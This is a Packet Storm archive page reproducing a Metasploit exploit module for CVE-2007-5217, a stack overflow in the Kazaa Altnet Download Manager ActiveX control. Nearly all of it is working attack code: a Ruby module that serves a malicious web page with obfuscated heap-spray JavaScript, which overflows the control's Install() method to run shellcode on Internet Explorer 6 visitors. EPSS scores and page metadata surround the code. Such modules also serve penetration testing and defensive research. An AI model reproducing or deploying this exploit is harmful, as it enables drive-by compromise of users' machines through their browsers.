Kazaa Altnet Download Manager ActiveX Control Buffer Overflow

2009-11-2600:00:00
packetstormsecurity.com
0.713 High
EPSS
Percentile
97.7%
JSON
`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Kazaa Altnet Download Manager ActiveX Control Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the Altnet Download Manager ActiveX  
Control (amd4.dll) bundled with Kazaa Media Desktop 3.2.7.  
By sending a overly long string to the "Install()" method, an attacker may be  
able to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'MC' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2007-5217' ],  
[ 'OSVDB', '37785' ],  
[ 'URL', 'http://secunia.com/advisories/26970/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP2 / IE 6.0SP1 English', { 'Ret' => '\x0c\x0c\x0c\x0c' } ]   
],  
'DisclosureDate' => 'Oct 3 2007',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Randomize the javascript variable names  
vname = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(30)+2)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
rand8 = rand_text_alpha(rand(100) + 1)  
  
# Build out the message  
content =  
"<html>\n" +  
"<object classid='clsid:DEF37997-D9C9-4A4B-BF3C-88F99EACEEC2' id='#{vname}'></object>\n" +  
"<script language='javascript'>\n" +  
"#{rand1} = unescape('#{shellcode}');\n" +  
"#{rand2} = unescape('#{nops}');\n" +  
"#{rand3} = 20;\n" +  
"#{rand4} = #{rand3}+#{rand1}.length\n" +  
"while (#{rand2}.length<#{rand4}) #{rand2}+=#{rand2};\n" +  
"#{rand5} = #{rand2}.substring(0, #{rand4});\n" +  
"#{rand6} = #{rand2}.substring(0, #{rand2}.length-#{rand4});\n" +  
"while(#{rand6}.length+#{rand4}<0x30000) #{rand6} = #{rand6}+#{rand6}+#{rand5};\n" +  
"#{rand7} = new Array();\n" +  
"for (#{var_i}=0; #{var_i}<400; #{var_i}++) #{rand7}[#{var_i}] = #{rand6} + #{rand1};\n" +  
"#{rand8} = '#{target.ret}';\n" +  
"while (#{rand8}.length < 5000) #{rand8}+=#{rand8};\n" +  
"#{vname}.Install(#{vname} ,#{rand8} ,#{vname}, 1);\n" +  
"</script>\n" +  
"</html>"  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.713 High
EPSS
Percentile
97.7%
JSON
Related for PACKETSTORM:83086